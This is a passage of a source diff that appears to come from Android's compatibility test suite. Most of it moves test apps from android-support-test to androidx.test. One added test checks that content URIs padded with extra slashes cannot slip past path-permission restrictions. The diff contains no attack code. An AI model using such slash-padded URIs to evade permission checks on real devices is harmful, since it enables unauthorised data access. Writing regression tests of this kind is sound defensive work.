+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
index 9458db3..8639464 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
@@ -30,7 +30,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.usepermission" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
index 62a15e4..b084ce7 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
@@ -20,9 +20,9 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp26/src)  \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
index 57a58ab..0b8f9af 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
@@ -29,7 +29,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.usepermission" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index 93d8ddd..9233605 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,7 +22,7 @@
     ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index 7acf98f..e587e09 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -38,5 +38,5 @@
     </application>
 
     <instrumentation android:targetPackage="com.android.cts.usespermissiondiffcertapp"
-            android:name="android.support.test.runner.AndroidJUnitRunner"/>
+            android:name="androidx.test.runner.AndroidJUnitRunner"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
index 80a1578..355de8c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
@@ -141,6 +141,16 @@
         }
     }
 
+    private void assertContentUriAllowed(Uri uri) {
+        assertReadingContentUriAllowed(uri);
+        assertWritingContentUriAllowed(uri);
+    }
+
+    private void assertContentUriNotAllowed(Uri uri, String msg) {
+        assertReadingContentUriNotAllowed(uri, msg);
+        assertWritingContentUriNotAllowed(uri, msg);
+    }
+
     private void assertWritingContentUriNotAllowed(Uri uri, String msg) {
         final ContentResolver resolver = getContext().getContentResolver();
         try {
@@ -487,10 +497,18 @@
     }
 
     private void doTestGrantUriPermissionFail(Uri uri) {
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
+        for (boolean service : new boolean[] { false, true }) {
+            for (int flags : new int[] {
+                    Intent.FLAG_GRANT_READ_URI_PERMISSION, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+            }) {
+                grantUriPermissionFail(uri,
+                        flags, service);
+                grantUriPermissionFail(uri,
+                        flags | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, service);
+                grantUriPermissionFail(uri,
+                        flags | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, service);
+            }
+        }
     }
     
     /**
@@ -1162,6 +1180,26 @@
     }
 
     /**
+     * Test that shady {@link Uri} are blocked by {@code path-permission}.
+     */
+    public void testRestrictingProviderMatchingShadyPaths() {
+        assertContentUriAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting/"));
+        assertContentUriAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting//"));
+        assertContentUriAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting///"));
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo"), null);
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting//foo"), null);
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting///foo"), null);
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo//baz"), null);
+    }
+
+    /**
      * Verify that at least one {@code path-permission} rule will grant access,
      * even if the caller doesn't hold another matching {@code path-permission}.
      */
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
index df12f82..f3d3d31 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
index 4557af0..4b37d08 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
@@ -21,6 +21,6 @@
         <activity android:name=".MyActivity" />
     </application>
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.useslibrary" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
index 235a955..356f296 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 LOCAL_PACKAGE_NAME := CtsV3SigningSchemeRotationTest
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml
index 677757f..0afffcd 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml
@@ -21,5 +21,5 @@
 
     <instrumentation
         android:targetPackage="android.appsecurity.cts.v3rotationtests"
-        android:name="android.support.test.runner.AndroidJUnitRunner" />
+        android:name="androidx.test.runner.AndroidJUnitRunner" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index b1e84cb..9adb60b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -19,8 +19,8 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	android-support-test \
-	compatibility-device-util
+	androidx.test.rules \
+	compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml
index 37e39e9..47fb8c1 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.writeexternalstorageapp" />
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
index 46a6b37..8e05b63 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningABadUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
index 9018fdb..a5db503 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningANoDefUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
index 98a31b9..4e4ee5c 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningCBadAUpgradeAB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-c
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
index 5cf21b4..76ca560 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetPermDefSigningA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
@@ -33,7 +33,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetPermDefSigningB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
index 10c4101..19dba61 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetPermUseSigningA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
@@ -34,7 +34,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetPermUseSigningB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index 619f1ce..fe22777 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 LOCAL_PACKAGE_NAME := CtsKeySetTestApp
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml
index 38edf5f..e4f6567 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml
@@ -21,5 +21,5 @@
 
     <instrumentation
         android:targetPackage="com.android.cts.keysets.testapp"
-        android:name="android.support.test.runner.AndroidJUnitRunner" />
+        android:name="androidx.test.runner.AndroidJUnitRunner" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
index d47f6bc..cb08b44 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
@@ -31,7 +31,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningBUpgradeA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
@@ -44,7 +44,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningEcAUpgradeA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
 LOCAL_DEX_PREOPT := false
@@ -57,7 +57,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAAndBUpgradeA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
index 87655dd..3dd4747 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeAAndB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
index 764886a..7598c5b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeAOrB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
index d0960c4..82efc2c 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
@@ -34,7 +34,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningBUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
@@ -49,7 +49,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAAndCUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-c
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
index c6cec13..c65637f 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSharedUserSigningAUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
@@ -34,7 +34,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSharedUserSigningBUpgradeB
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
index e7de019..e7c9b6d 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeEcA
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
index d54a59b..e6c830b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeNone
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 4b550db..33e0773 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsAtraceTestApp
 
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
index aa9a22c..bcdb256 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
index d4de01d..c79b87c 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.backupnotallowedapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
index c218a28..a2a040c 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
index 5fc71a1..57efe7c 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
@@ -24,7 +24,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.backupnotallowedapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
index 643b594..f0c34d5 100644
--- a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
+++ b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
@@ -16,15 +16,16 @@
 
 package android.cts.backup.backupnotallowedapp;
 
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index 868e20f..b78cd07 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -16,6 +16,9 @@
 <configuration description="Config for CTS Backup host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="backup" />
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
